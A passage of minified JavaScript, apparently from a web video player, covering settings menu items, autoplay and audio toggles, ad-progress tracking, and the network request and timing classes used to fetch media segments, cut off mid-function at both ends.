Q$.prototype.K=function(){var x,T,t=(x=this.U.getVideoData())==null?void 0:(T=x.accountLinkingConfig)==null?void 0:T.linked;if(t&&!this.C){var u;x=(u=this.U.getVideoData())==null?void 0:u.accountLinkingConfig;this.setIcon(R4());var H;g.Nw(this,pW(x==null?void 0:(H=x.menuData)==null?void 0:H.connectedMenuLabel));var I,E,Z;this.j=new y$(this.U,pW(x==null?void 0:(I=x.menuData)==null?void 0:I.connectedDialogTitle),pW(x==null?void 0:(E=x.menuData)==null?void 0:E.connectedDialogMessage),pW(x==null?void 0:
(Z=x.menuData)==null?void 0:Z.confirmButtonText));g.y(this,this.j);var e;u=(x==null?void 0:(e=x.menuData)==null?void 0:e.trackingParams)||null;(this.Z=!!u)&&this.U.setTrackingParams(this.element,u);this.If.NU(this);this.C=!0}else!t&&this.C&&(this.If.FY(this),this.C=!1)};
Q$.prototype.onClick=function(){this.Z&&this.U.logClick(this.element);this.If.nz();this.j&&this.j.tq()};g.P(OT,g.W);OT.prototype.B=function(x){return this.api.B(x)};g.P(fW,OT);fW.prototype.onVideoDataChange=function(x){if(!x.accountLinkingConfig){var T,t=(T=x.getPlayerResponse())==null?void 0:T.accountLinkingConfig;x.accountLinkingConfig=t}var u;if(T=(u=x.accountLinkingConfig)==null?void 0:u.alsParam)x.wk=T};
fW.prototype.setAccountLinkState=function(x){this.api.getVideoData().wk=x;this.api.sL()};
fW.prototype.updateAccountLinkingConfig=function(x){var T=this.api.getVideoData(),t=T.accountLinkingConfig;t&&(t.linked=x);this.api.publish("videodatachange","dataupdated",T,this.api.getPresentingPlayerType())};g.P(KW,OT);
KW.prototype.Z=function(x){var T=x.getId(),t=this.api.getVideoData(1),u=!this.api.isInline();if(!t.inlineMetricEnabled&&!this.api.B("enable_player_logging_lr_home_infeed_ads")||u){if(T==="part2viewed"){if(t.Av&&g.Be(t.Av),t.Qz&&Xs(this,t.Qz),t.nu)for(var H={CPN:this.api.getVideoData().clientPlaybackNonce},I=g.S(t.nu),E=I.next();!E.done;E=I.next())Xs(this,g.h_(E.value,H))}else T==="conversionview"?this.api.G2():T==="engagedview"&&t.FR&&(H={CPN:this.api.getVideoData().clientPlaybackNonce},g.Be(g.h_(t.FR,
H)));t.va&&(H=t.va,I=x.getId(),H=uP(H,{label:I}),g.Be(H));switch(T){case "videoplaytime25":t.F9&&Xs(this,t.F9);t.md&&xz(this,t.md);t.WA&&g.Be(t.WA);break;case "videoplaytime50":t.NO&&Xs(this,t.NO);t.eK&&xz(this,t.eK);t.CY&&g.Be(t.CY);break;case "videoplaytime75":t.Gg&&Xs(this,t.Gg);t.W0&&xz(this,t.W0);t.lP&&g.Be(t.lP);break;case "videoplaytime100":t.qO&&Xs(this,t.qO),t.Ya&&xz(this,t.Ya),t.D7&&g.Be(t.D7)}(H=this.api.getVideoData().o5)&&Q83(this,H,x.getId())&&Q83(this,H,x.getId()+"gaia")}if(t.inlineMetricEnabled&&
!u)switch(T){case "videoplaybackstart":var Z,e=(Z=t.Kl)==null?void 0:Z.C;e&&Xs(this,e);break;case "videoplayback2s":(Z=(e=t.Kl)==null?void 0:e.j)&&Xs(this,Z);break;case "videoplayback10s":var l;(Z=(l=t.Kl)==null?void 0:l.Z)&&Xs(this,Z)}this.api.YX([x],1)};g.P(OFV,OT);g.P(Tk,g.Q);g.q=Tk.prototype;
g.q.Go=function(){var x;if(x=this.U.getPresentingPlayerType()!==3&&g.Gt(this.U)&&this.U.bG().getPlayerSize().width>=400)if(x=this.Wk(),this.U.Y().B("client_respect_autoplay_switch_button_renderer"))x=!!x.autoplaySwitchButtonRenderer;else{var T,t,u,H;x=!!((T=x.getWatchNextResponse())==null?0:(t=T.contents)==null?0:(u=t.twoColumnWatchNextResults)==null?0:(H=u.autoplay)==null?0:H.autoplay)!==!1}if(x)this.C||(this.C=!0,this.ou(this.C),this.U.Y().B("web_player_autonav_toggle_always_listen")||fWv(this),
T=this.Wk(),this.JE(T.autonavState),this.U.logVisibility(this.element,this.C));else if(this.C=!1,this.ou(this.C),!this.U.Y().B("web_player_autonav_toggle_always_listen"))for(this.U.Y().B("web_player_autonav_toggle_always_listen"),T=g.S(this.Z),t=T.next();!t.done;t=T.next())this.f2(t.value)};
g.q.JE=function(x){Kkf(this)?this.isChecked=x!==1:((x=x!==1)||(g.Bc(),x=g.R6("web_autonav_allow_off_by_default")&&!g.Wc(0,141)&&g.pr("AUTONAV_OFF_BY_DEFAULT")?!1:!g.Wc(0,140)),this.isChecked=x);wAf(this)};
g.q.onClick=function(){this.isChecked=!this.isChecked;this.U.b5(this.isChecked?2:1);wAf(this);if(Kkf(this)){var x=this.Wk().autoplaySwitchButtonRenderer;this.isChecked&&(x==null?0:x.onEnabledCommand)?this.U.XW("innertubeCommand",x.onEnabledCommand):!this.isChecked&&(x==null?0:x.onDisabledCommand)&&this.U.XW("innertubeCommand",x.onDisabledCommand)}this.U.logClick(this.element)};
g.q.getValue=function(){return this.isChecked};
g.q.Wk=function(){return this.U.getVideoData(1)};g.P(XAv,OT);g.P(ol,g.JW);ol.prototype.onClick=function(){this.enabled&&(tU(this,!this.checked),this.publish("select",this.checked))};
ol.prototype.getValue=function(){return this.checked};
ol.prototype.setEnabled=function(x){(this.enabled=x)?this.element.removeAttribute("aria-disabled"):this.element.setAttribute("aria-disabled","true")};var TID=["en-CA","en","es-MX","fr-CA"];g.P(Ez,ol);Ez.prototype.Nj=function(x){x?this.C||(this.If.NU(this),this.C=!0):this.C&&(this.If.FY(this),this.C=!1);this.C&&tU(this,MdJ())};
Ez.prototype.K=function(){g.H$(this.element,"ytp-menuitem-highlight-transition-enabled")};
Ez.prototype.j=function(x){var T=MdJ();x!==T&&(T=g.Bc(),yT(190,x),yT(192,!0),T.save(),this.U.XW("cinematicSettingsToggleChange",x))};
Ez.prototype.oU=function(){this.C&&this.If.FY(this);ol.prototype.oU.call(this)};g.P(qy,OT);qy.prototype.updateCinematicSettings=function(x){this.C=x;var T;(T=this.menuItem)==null||T.Nj(x);this.api.publish("onCinematicSettingsVisibilityChange",x)};g.P(ZA,OT);ZA.prototype.P2=function(x,T){T=T.clipConfig;x==="dataloaded"&&T&&T.startTimeMs!=null&&T.endTimeMs!=null&&this.api.setLoopRange({startTimeMs:Math.floor(Number(T.startTimeMs)),endTimeMs:Math.floor(Number(T.endTimeMs)),postId:T.postId,type:"clips"})};g.P(jp,OT);jp.prototype.setCreatorEndscreenVisibility=function(x){var T;(T=y1(this.api.xm()))==null||T.ou(x)};
jp.prototype.C=function(x){function T(u){u==="creatorendscreen"&&(u=y1(t.api.xm()))&&u.Jiv(t.hideButton)}
var t=this;this.hideButton=x;this.events.V(this.api,"modulecreated",T);T("creatorendscreen")};g.P(ep,ol);ep.prototype.j=function(x){this.K(x?1:0)};
ep.prototype.Z=function(){var x=this.hasDrcAudioTrack(),T=this.C()===1&&x;tU(this,T);this.setEnabled(x)};
ep.prototype.oU=function(){this.If.FY(this);ol.prototype.oU.call(this)};g.P(lL,OT);lL.prototype.getDrcUserPreference=function(){return this.C};
lL.prototype.setDrcUserPreference=function(x){g.vc("yt-player-drc-pref",x,31536E3);x!==this.C&&(this.C=x,this.updateEnvironmentData(),this.Z()&&this.api.cV())};
lL.prototype.updateEnvironmentData=function(){this.api.Y().Nz=this.C===1};
lL.prototype.Z=function(){var x,T,t=(x=this.api.getVideoData())==null?void 0:(T=x.j)==null?void 0:T.C;if(!t)return!1;if(this.api.getAvailableAudioTracks().length>1&&this.api.B("mta_drc_mutual_exclusion_removal")){var u=this.api.getAudioTrack().S8.id;return h2(t,function(H){var I;return H.audio.C&&((I=H.S8)==null?void 0:I.id)===u})}return h2(t,function(H){var I;
return((I=H.audio)==null?void 0:I.C)===!0})};g.P(mq,OT);mq.prototype.onVideoDataChange=function(){var x=this,T=this.api.getVideoData();this.api.Xa("embargo",1);var t=T==null?void 0:T.b0.get("PLAYER_CUE_RANGE_SET_IDENTIFIER_EMBARGO");(t==null?0:t.length)?ufv(this,t.filter(function(u){return saf(x,u)})):(T==null?0:T.cueRanges)&&ufv(this,T.cueRanges.filter(function(u){return saf(x,u)}))};
mq.prototype.Z=function(x){return x.embargo!==void 0};
mq.prototype.oU=function(){OT.prototype.oU.call(this);this.C={}};g.P(dS,OT);
dS.prototype.addEmbedsConversionTrackingParams=function(x){var T=this.api.Y(),t=T.widgetReferrer,u=T.tQ,H=this.C,I="",E=T.getWebPlayerContextConfig();E&&(I=E.embedsIframeOriginParam||"");t.length>0&&(x.embeds_widget_referrer=t);u.length>0&&(x.embeds_referring_euri=u);T.K&&I.length>0&&(x.embeds_referring_origin=I);E&&E.embedsFeature&&(x.feature=E.embedsFeature);H.length>0&&(T.B("embeds_web_enable_lite_experiment_control_arm_logging")?H.unshift(28572):g.Ix(g.aQ(T))&&H.unshift(159628),T=H.join(","),T=
g.N2()?T:g.R2(T,4),x.source_ve_path=T);this.C.length=0};g.P($83,OT);g.P(HTX,OT);g.P(My,g.W);My.prototype.oU=function(){g.W.prototype.oU.call(this);this.C=null;this.Z&&this.Z.disconnect()};g.P(IRC,OT);g.P(AU,g.Q);AU.prototype.show=function(){g.Q.prototype.show.call(this);this.api.logVisibility(this.element,!0)};
AU.prototype.onVideoDataChange=function(x){var T,t,u=(T=this.api.getVideoData())==null?void 0:(t=T.getPlayerResponse())==null?void 0:t.playabilityStatus;u&&(T=EIH(u),g.p(this.api.getPlayerStateObject(),128)||x==="dataloaderror"||!T?(this.Z=0,Rl(this),this.hide()):(x=(T.remainingTimeSecs||0)*1E3,x>0&&(this.show(),this.updateValue("label",PZ(T.label)),ZTm(this,x))))};
AU.prototype.oU=function(){Rl(this);g.Q.prototype.oU.call(this)};g.P(jaC,OT);g.P(Pw,g.Q);Pw.prototype.onClick=function(){this.qj.logClick(this.element);this.qj.XW("onFullerscreenEduClicked")};
Pw.prototype.Nj=function(){this.qj.isFullscreen()?this.Z?this.C.hide():this.C.show():this.hide();this.qj.logVisibility(this.element,this.qj.isFullscreen()&&!this.Z)};g.P(Sp,OT);Sp.prototype.updateFullerscreenEduButtonSubtleModeState=function(x){var T;(T=this.C)!=null&&(g.Ic(T.element,"ytp-fullerscreen-edu-button-subtle",x),x&&!T.j&&(T.element.setAttribute("title","Scroll for details"),cF(T.qj,T.element,T),T.j=!0))};
Sp.prototype.updateFullerscreenEduButtonVisibility=function(x){var T;(T=this.C)!=null&&(T.Z=x,T.Nj())};g.P(eqC,g.Q);g.P(d8f,OT);g.P(cw,OT);cw.prototype.getSphericalProperties=function(){var x=g.hW(this.api.xm());return x?x.getSphericalProperties():{}};
cw.prototype.setSphericalProperties=function(x){if(x){var T=g.hW(this.api.xm());T&&T.setSphericalProperties(x,!0)}};g.P(Yz,OT);g.q=Yz.prototype;g.q.createClientVe=function(x,T,t,u){this.api.createClientVe(x,T,t,u===void 0?!1:u)};
g.q.createServerVe=function(x,T,t){this.api.createServerVe(x,T,t===void 0?!1:t)};
g.q.setTrackingParams=function(x,T){this.api.setTrackingParams(x,T)};
g.q.logClick=function(x,T){this.api.logClick(x,T)};
g.q.logVisibility=function(x,T,t){this.api.logVisibility(x,T,t)};
g.q.hasVe=function(x){return this.api.hasVe(x)};
g.q.destroyVe=function(x){this.api.destroyVe(x)};var AX3=!1;bL.prototype.setPlaybackRate=function(x){this.playbackRate=Math.max(1,x)};
bL.prototype.getPlaybackRate=function(){return this.playbackRate};hU.prototype.Wb=function(x){var T=g.xj(x.info.C.info,this.gy.B9),t=x.info.Mj+this.K,u=x.info.startTime*1E3;if(this.policy.mu)try{u=this.policy.mu?g.TW(x)*1E3:x.info.startTime*1E3}catch(E){Math.random()>.99&&this.logger&&(u=P5(x.C).slice(0,1E3),this.logger&&this.logger({parserErrorSliceInfo:x.info.Hk(),encodedDataView:g.Am(u,4)})),u=x.info.startTime*1E3}var H=x.info.clipId,I=this.policy.mu?g.McV(x)*1E3:x.info.duration*1E3;this.policy.mu&&(u<0||I<0)&&(this.logger&&(this.logger({missingSegInfo:x.info.Hk(),
startTimeMs:u,durationMs:I}),this.policy.Qw||(u<0&&(u=x.info.startTime*1E3),I<0&&(I=x.info.duration*1E3))),this.policy.Qw&&(u<0&&(u=x.info.startTime*1E3),I<0&&(I=x.info.duration*1E3)));return{formatId:T,Mj:t,startTimeMs:u,clipId:H,Tx:I}};
hU.prototype.L7=function(x){this.timestampOffset=x};Gk.prototype.seek=function(x,T){x!==this.C&&(this.seekCount=0);this.C=x;var t=this.videoTrack.Z,u=this.audioTrack.Z,H=this.audioTrack.qJ,I=aR3(this,this.videoTrack,x,this.videoTrack.qJ,T);T=aR3(this,this.audioTrack,this.policy.tR?x:I,H,T);x=Math.max(x,I,T);this.T=!0;this.gy.isManifestless&&(vIi(this,this.videoTrack,t),vIi(this,this.audioTrack,u));return x};
Gk.prototype.isSeeking=function(){return this.T};
Gk.prototype.Qk=function(x){this.j=x};
var nIm=2/24;var WH3=0;g.q=Ch.prototype;g.q.Eu=function(){this.ZZ=this.now();BcC(this.xP,this.ZZ);this.P9.Eu()};
g.q.tH=function(x,T){var t=this.policy.Z?(0,g.bo)():0;QW(this,x,T);x-this.D<10&&this.Z>0||this.Z8(x,T);this.P9.tH(x,T);this.policy.Z&&(x=(0,g.bo)()-t,this.hM+=x,this.Ee=Math.max(x,this.Ee))};
g.q.Z8=function(x,T){var t=(x-this.D)/1E3,u=T-this.j;this.Jr||(RQ(this.xP,t,u),this.Ke(t,u));this.D=x;this.j=T};
g.q.yT=function(){this.Om&&D8q(this);this.P9.yT()};
g.q.YZ=function(x){this.Om||(this.Om=this.T-this.Ym+x,this.Zk=this.T,this.L2=this.N)};
g.q.jo=function(x,T){x=x===void 0?this.N:x;T=T===void 0?this.T:T;this.Z>0||(this.S=x,this.Z=T,this.jY=this.isActive=!0)};
g.q.j9=function(){return this.cU||2};
g.q.cK=function(){};
g.q.Sl=function(){var x,T={rn:this.requestNumber,rt:(this.N-this.C).toFixed(),lb:this.T,stall:(1E3*this.K).toFixed(),ht:(this.ZZ-this.C).toFixed(),elt:(this.S-this.C).toFixed(),elb:this.Z,d:(x=this.hQ)==null?void 0:x.vM()};this.url&&Mv3(T,this.url);this.policy.Z&&(T.mph=this.Ee.toFixed(),T.tph=this.hM.toFixed());T.ulb=this.Hv;T.ult=this.J;T.abw=this.nf;return T};
g.q.now=function(){return(0,g.bo)()};
g.q.deactivate=function(){this.isActive&&(this.isActive=!1)};g.P(Oz,Ch);g.q=Oz.prototype;g.q.Sl=function(){var x=Ch.prototype.Sl.call(this);x.pb=this.Oh;x.pt=(1E3*this.Cz).toFixed();x.se=this.kP;return x};
g.q.Qv=function(){var x=this.P9;this.tQ||(this.tQ=x.Qv?x.Qv():1);return this.tQ};
g.q.Q0=function(){return this.t7?this.Qv()!==1:!1};
g.q.K0=function(x,T,t){if(!this.tM){this.tM=!0;if(!this.Jr){QW(this,x,T);this.Z8(x,T);var u=this.Qv();this.kP=t;if(!this.policy.T||!this.Jr)if(u===2&&this.policy.T){u=x-this.S<this.j9()*1E3+50;t=this.J?this.Hv/(this.J/1E3):Math.max(this.policy.J,t||this.nf);var H=this.mO*1.3;u&&t<H||(this.J?mI(this.xP,this.J/1E3,this.Hv,this.QU||this.policy.jY):mI(this.xP,T/t,T,.01));M_(this.xP,T,u?0:this.K)}else u===2?this.Jr||(this.J?mI(this.xP,this.J/1E3,this.Hv,this.QU||this.policy.jY):mI(this.xP,T/Math.max(this.policy.J,
t||this.nf),T,.01),M_(this.xP,T,this.K)):u===1&&(u=(x-this.C)/1E3,!(u<=this.policy.K)&&this.policy.K||this.Lz||this.policy.uG||!(this.Z>0)||fh(this,u,T),this.Z>0&&M_(this.xP,T,this.K));x=(x-this.C)/1E3||.01;this.policy.ZZ&&!(this.Z>0)||ds(this.xP,x,this.j,NIJ(this),this.sC)}this.deactivate()}};
g.q.ij=function(x,T,t){t&&(this.tQ=2);x<0&&this.cU&&(x=this.cU);T?this.mu+=x:this.QU+=x};
g.q.j9=function(){return this.QU||this.mu||Ch.prototype.j9.call(this)};
g.q.Z8=function(x,T){var t=(x-this.D)/1E3,u=T-this.j,H=this.Qv();this.isActive?H===1&&((u>0||this.policy.D)&&(t>.2||u<1024)?(this.K+=t,u>0&&t>.2&&fh(this,this.mO?t:.05,u),this.Lz=!0):u>0&&(fh(this,t,u),this.Lz=!0)):T&&T>=this.policy.C&&this.jo(x,T);Ch.prototype.Z8.call(this,x,T)};
g.q.tD=function(x){if(!this.Jr){QW(this,x,this.T);var T=(x-this.C)/1E3;this.Qv()!==2&&this.Z>0&&(this.K+=(x-this.D)/1E3,M_(this.xP,this.j,this.K));ds(this.xP,T,this.j,NIJ(this),this.sC,!0);x=(x-this.D)/1E3;RQ(this.xP,x,0);this.Ke(x,0)}};
g.q.jo=function(x,T){x=x===void 0?this.N:x;T=T===void 0?this.T:T;if(!(this.Z>0)&&(Ch.prototype.jo.call(this,x,T),this.Qv()===1)){T=(this.ZZ-this.C)/1E3;var t=(x-this.ZZ)/1E3;this.t7&&wS(this,this.now());this.ra||this.Jr||(this.cU&&(t=Math.max(0,t-this.cU)),x=this.xP,x.J.SF(1,T),x.Om.SF(1,t))}};
g.q.m6=function(){this.t7&&wS(this,this.now());return this.AQ};
g.q.fm=function(){var x;if(x=this.j>this.xi)x=(x=this.j)?x>=this.policy.C:!1;return x};
g.q.x3=function(){return this.SY};
g.q.Yi=function(x){x=x===void 0?this.now():x;if(this.t7){wS(this,x);if(this.tQ?this.Q0():this.uG!==this.G9){var T=this.G9;if(x<T){this.SY=this.G9;return}}else T=this.uG;T=Math.max(T,this.AQ)}else T=this.AQ;var t=this.Oh-this.j;t<0&&(t=0);t=(t*this.snapshot.stall+t/this.snapshot.byterate)*1E3;this.SY=t=this.Z>0?t+x:t+Math.max(x,T)};
g.q.v3=function(){return this.now()-this.S};
g.q.H8=function(){return(this.j-this.Z)*1E3/this.v3()||0};
g.q.pY=function(){return this.S};Kh.prototype.feed=function(x){dK(this.C,x);this.NI()};
Kh.prototype.NI=function(){if(this.K){if(!this.C.getLength())return;var x=this.C.split(this.j-this.Z),T=x.gQ;x=x.kG;if(!this.P9.YZ(this.K,T,this.Z,this.j))return;this.Z+=T.getLength();this.C=x;this.Z===this.j&&(this.K=this.j=this.Z=void 0)}for(;;){var t=0;x=g.S(pZH(this.C,t));T=x.next().value;t=x.next().value;t=g.S(pZH(this.C,t));x=t.next().value;t=t.next().value;if(T<0||x<0)break;if(!this.C.xk(t,x)){if(!this.P9.YZ||!this.C.xk(t,1))break;t=this.C.split(t).kG;this.P9.YZ(T,t,0,x)&&(this.K=T,this.Z=
t.getLength(),this.j=x,this.C=new mi([]));break}x=this.C.split(t).kG.split(x);t=x.kG;this.P9.CH(T,x.gQ);this.C=t}};
Kh.prototype.dispose=function(){this.C=new mi};g.q=Xm.prototype;g.q.WL=function(){return 0};
g.q.Cv=function(){return null};
g.q.ql=function(){return null};
g.q.MX=function(){return this.state>=1};
g.q.isComplete=function(){return this.state>=3};
g.q.sG=function(){return this.state===5};
g.q.onStateChange=function(){};
g.q.vk=function(x){var T=this.state;this.state=x;this.onStateChange(T);this.callback&&this.callback(this,T)};
g.q.eE=function(x){x&&this.state<x?this.vk(x):this.callback&&this.callback(this,this.state)};
g.q.T9=function(){return this.state===-1};
g.q.Hk=function(){var x="";this.info.iG.forEach(function(T){x+=T.Hk()+"."});
return x.slice(0,-1)};
g.q.dispose=function(){this.T9()||(this.info.iG[0].C.j=!1,this.vk(-1))};
g.q.DK=function(){return 0};g.q=xV.prototype;g.q.SE=function(){this.xhr.status&&(this.status=this.xhr.status);this.xhr.readyState===this.xhr.HEADERS_RECEIVED&&this.P9.Eu()};
g.q.onError=function(){this.j=!0;this.onDone()};
g.q.onDone=function(){this.T9||(this.K=!0,this.P9.yT())};
g.q.lj=function(){return this.xhr.readyState>=this.xhr.HEADERS_RECEIVED};
g.q.getResponseHeader=function(x){try{return this.xhr.getResponseHeader(x)}catch(T){return""}};
g.q.Gf=function(){return+this.getResponseHeader("content-length")};
g.q.R3=function(){return this.Z};
g.q.gw=function(){return this.status>=200&&this.status<300&&!!this.Z};
g.q.wi=function(){return this.C.getLength()>0};
g.q.bL=function(){var x=this.C;this.C=new mi;return x};
g.q.R0=function(){return this.C};
g.q.abort=function(){this.T9=!0;this.xhr.abort()};
g.q.IM=function(){return!0};
g.q.Yb=function(){return this.j};
g.q.HU=function(){return""};g.q=KH3.prototype;g.q.getResponseHeader=function(x){return x==="content-type"?this.C.get("type"):""};
g.q.abort=function(){};
g.q.lj=function(){return!0};
g.q.Gf=function(){return this.range.length};
g.q.R3=function(){return this.loaded};
g.q.gw=function(){return!!this.loaded};
g.q.wi=function(){return!!this.Z.getLength()};
g.q.bL=function(){var x=this.Z;this.Z=new mi;return x};
g.q.R0=function(){return this.Z};
g.q.IM=function(){return!0};
g.q.Yb=function(){return!!this.error};
g.q.HU=function(){return this.error};g.q=xF3.prototype;g.q.start=function(x){var T={credentials:"include",cache:"no-store"};Object.assign(T,this.N);this.K&&(T.signal=this.K.signal);x=new Request(x,T);fetch(x).then(this.S,this.onError).then(void 0,Hy)};
g.q.onDone=function(){this.T9()||this.P9.yT()};
g.q.getResponseHeader=function(x){return this.responseHeaders?this.responseHeaders.get(x):null};
g.q.lj=function(){return!!this.responseHeaders};
g.q.R3=function(){return this.Z};
g.q.Gf=function(){return+this.getResponseHeader("content-length")};
g.q.gw=function(){return this.status>=200&&this.status<300&&!!this.Z};
g.q.wi=function(){return!!this.C.getLength()};
g.q.bL=function(){this.wi();var x=this.C;this.C=new mi;return x};
g.q.R0=function(){this.wi();return this.C};
g.q.T9=function(){return this.T};
g.q.abort=function(){this.j&&this.j.cancel().catch(function(){});
this.K&&this.K.abort();this.T=!0};
g.q.IM=function(){return!0};
g.q.Yb=function(){return this.D};
g.q.HU=function(){return this.errorMessage};g.q=TUm.prototype;g.q.onDone=function(){if(!this.T9){this.status=this.xhr.status;try{this.response=this.xhr.response,this.Z=this.response.byteLength}catch(x){}this.C=!0;this.P9.yT()}};
g.q.SE=function(){this.xhr.readyState===2&&this.P9.Eu()};
g.q.Yg=function(x){this.T9||(this.status=this.xhr.status,this.C||(this.Z=x.loaded),this.P9.tH((0,g.bo)(),x.loaded))};
g.q.lj=function(){return this.xhr.readyState>=2};
g.q.getResponseHeader=function(x){try{return this.xhr.getResponseHeader(x)}catch(T){return g.Vh(Error("Could not read XHR header "+x)),""}};
g.q.Gf=function(){return+this.getResponseHeader("content-length")};
g.q.R3=function(){return this.Z};
g.q.gw=function(){return this.status>=200&&this.status<300&&this.C&&!!this.Z};
g.q.wi=function(){return this.C&&!!this.response&&!!this.response.byteLength};
g.q.bL=function(){this.wi();var x=this.response;this.response=void 0;return new mi([new Uint8Array(x)])};
g.q.R0=function(){this.wi();return new mi([new Uint8Array(this.response)])};
g.q.abort=function(){this.T9=!0;this.xhr.abort()};
g.q.IM=function(){return!1};
g.q.Yb=function(){return!1};
g.q.HU=function(){return""};g.t$.prototype.info=function(){};
g.t$.prototype.debug=function(){};
g.t$.prototype.C=function(x){sE.apply(null,[5,this.tag,x].concat(g.U(g.FD.apply(1,arguments))))};
var srq=new Map,H3V=new Map,uhD=new function(){var x=this;this.C=new Map;this.yF={Z$Q:function(){return x.C}}};g.P(u4,g.W);u4.prototype.Ca=function(){if(!this.Yx.length)return[];var x=this.Yx;this.Yx=[];this.j=g.Q3(x).info;return x};
u4.prototype.MV=function(){return this.Yx};
u4.prototype.oU=function(){g.W.prototype.oU.call(this);this.C=null;this.Yx.length=0;this.iG.length=0;this.j=null};g.P(H6,g.W);g.q=H6.prototype;
g.q.Ufv=function(){if(!this.T9()){var x=(0,g.bo)(),T=!1;if(this.policy.Pm){x=x-(this.timing.Z>0?this.timing.S:this.timing.C)-this.timing.j9()*1E3;var t=A7(i4(this),!1);x>=2E3*t?T=!0:x>=this.policy.eH*t&&(this.C=this.policy.CB)}else if(this.timing.Z>0){if(this.T){this.policy.FD&&(this.C=0);return}var u=this.timing.x3();this.timing.Yi();var H=this.timing.x3();H-u>=this.policy.pF*.8?(this.C++,this.logger.debug(function(){return"Mispredicted by "+(H-u).toFixed(0)}),T=this.C>=5):this.C=0}else{var I=x-
this.timing.m6();
this.policy.CB&&I>0&&(this.C+=1);T=A7(i4(this),!1)*this.policy.md;(T=I>T*1E3)&&this.logger.debug(function(){return"Elbow late by "+I.toFixed(3)})}this.C>0&&this.P9.wU();
T?this.Mv(!1):this.Z.start()}};
g.q.Mv=function(x){this.K=!0;x&&!this.policy.wf&&(x=i4(this),x.Z+=1);this.P9.sz();this.lastError="net.timeout";EE(this)};
g.q.canRetry=function(x){var T=i4(this);x=x?this.policy.ya:this.policy.Bf;return T.timedOut<this.policy.Aj&&T.C<x};
g.q.Yp=function(){return this.lastError};
g.q.PZ=function(){return this.C};
g.q.dispose=function(){this.Z.dispose();g.W.prototype.dispose.call(this)};var Ea={},zMq=(Ea["1h"]=8,Ea["9h"]=4,Ea["1"]=8,Ea["9"]=4,Ea["("]=4,Ea.h=2,Ea.H=2,Ea),qe={},kgi=(qe.o=3,qe.O=3,qe.so=3,qe.a=1,qe.ah=1,qe.A=1,qe.m=1,qe.M=1,qe.sa=1,qe.mac3=7,qe.MAC3=7,qe.meac3=5,qe.MEAC3=5,qe),Zq={},hMf=(Zq.o=0,Zq.O=0,Zq.a=0,Zq.ah=0,Zq.A=0,Zq.m=1,Zq.M=1,Zq.mac3=1,Zq.MAC3=1,Zq.meac3=1,Zq.MEAC3=1,Zq.so=4,Zq.sa=4,Zq);var Ggv={WEB:1,MWEB:2,TVHTML5:7,WEB_UNPLUGGED:41,WEB_EMBEDDED_PLAYER:56,TVHTML5_AUDIO:57,TV_UNPLUGGED_CAST:58,TVHTML5_KIDS:59,WEB_MUSIC:61,WEB_CREATOR:62,TVHTML5_UNPLUGGED:65,WEB_REMIX:67,TVHTML5_SIMPLY:75,WEB_KIDS:76,TVHTML5_SIMPLY_EMBEDDED_PLAYER:85,WEB_MUSIC_EMBEDDED_PLAYER:86,WEB_MUSIC_ANALYTICS:31,WEB_GAMING:32,WEB_EXPERIMENTS:42,WEB_HEROES:60,WEB_UNPLUGGED_ONBOARDING:69,WEB_UNPLUGGED_OPS:70,WEB_UNPLUGGED_PUBLIC:71,TVHTML5_VR:72,TVHTML5_FOR_KIDS:93};var l4,ey,mp=[["337","336","335"],["702","701","700"],["315","308","303","302"],["299","298"],["787","788"]],SKV=[["571","401","400","399","398"],["313","271","248","247"],["137","136"]],cvD=["571 401 400 399 398 787 788 397 396".split(" "),"313 271 248 247 781 777 244 243".split(" "),["137","136","135"]],YKJ=[["411","410","409"],["360","358","357","274"],["385","376","384"],["225","224","145"]],UFD=["412","359"],b3v=[["140"],["251"],["380"],["328"]],jB={},AvJ=(jB["398"]="397 396 395 394 788 787".split(" "),
jB["247"]=["780","779","244","243","242"],jB["136"]=["135","134","133","160"],jB["141"]=["140"],jB["251"]=["250"],jB["774"]=["251","250"],jB),eB={},RMi=(eB["135"]=["134","133","160"],eB["243"]=["242"],eB["781"]=["780","779"],eB["777"]=["776","775"],eB["396"]=["395","394"],eB["141"]=["140"],eB["251"]=["250"],eB),lT={},PG3=(lT["274"]=["317","273","318","280","279"],lT["145"]=["144","222","223","143","142"],lT["141"]=["149"],lT["140"]=["149"],lT["380"]=["381"],lT["328"]=["329"],lT),my={},dFJ=(my["133"]=
240,my["134"]=360,my["135"]=480,my["136"]=720,my["137"]=1080,my["242"]=240,my["243"]=360,my["244"]=480,my["247"]=720,my["248"]=1080,my["298"]=720,my["299"]=1080,my["302"]=720,my["303"]=1080,my["395"]=240,my["396"]=360,my["397"]=480,my["398"]=720,my["399"]=1080,my);var vWC={unknown:0,other:0,bluetooth:117,wifi:116,cellular:120,ethernet:118,wimax:119,none:122};g.P(nh,Xm);g.q=nh.prototype;g.q.Bw=function(){return this.timing.requestNumber};
g.q.sY=function(){return this.MI.sY()};
g.q.Ti=function(){var x=eM5(this.gp);if(this.jf){var T=this.jf,t=T.C.getLength();x.ulen=t;t>0&&(T=T.C.getUint8(0),x.ubyte=T,t===1&&T===0&&(x.b248180278=!0))}this.G7&&(x.rc=this.policy.xG?this.G7:this.G7.toString());this.policy.L4&&this.XC&&(x.tr=this.XC);x.itag=this.info.iG[0].C.info.itag;x.ml=""+ +this.info.iG[0].C.fC();x.sq=""+this.info.iG[0].Mj;this.MI&&(x.ifi=""+ +rU(this.info.QA.j));this.G7!==410&&this.G7!==500&&this.G7!==503||(x.fmt_unav="true");var u;(t=this.errorMessage||((u=this.xhr)==null?
void 0:u.HU()))&&(x.msg=t);this.By&&(x.smb="1");this.info.isDecorated()&&(x.sdai="1");return x};
g.q.R_=function(){return JX3(this.timing)};
g.q.HU=function(){return this.xhr.HU()||""};
g.q.fm=function(){return this.isComplete()||this.timing.fm()};
g.q.tH=function(){!this.T9()&&this.xhr&&(this.G7=this.xhr.status,this.policy.KX&&this.IH&&this.GM(!1),this.kK()?this.eE(2):!this.D0&&this.fm()&&(this.eE(),this.D0=!0))};
g.q.Eu=function(){if(!this.T9()&&this.xhr){if(!this.Z3&&this.xhr.lj()&&this.xhr.getResponseHeader("X-Walltime-Ms")){var x=Number(this.xhr.getResponseHeader("X-Walltime-Ms"));this.Z3=((0,g.bo)()-x)/1E3}this.xhr.lj()&&this.xhr.getResponseHeader("X-Restrict-Formats-Hint")&&this.policy.LM&&!FAH()&&g.vc("yt-player-headers-readable",!0,2592E3);x=Number(this.xhr.getResponseHeader("X-Head-Seqnum"));var T=Number(this.xhr.getResponseHeader("X-Head-Time-Millis")),t;(t=this.Yf)==null||t.stop();this.Np=x||this.Np;
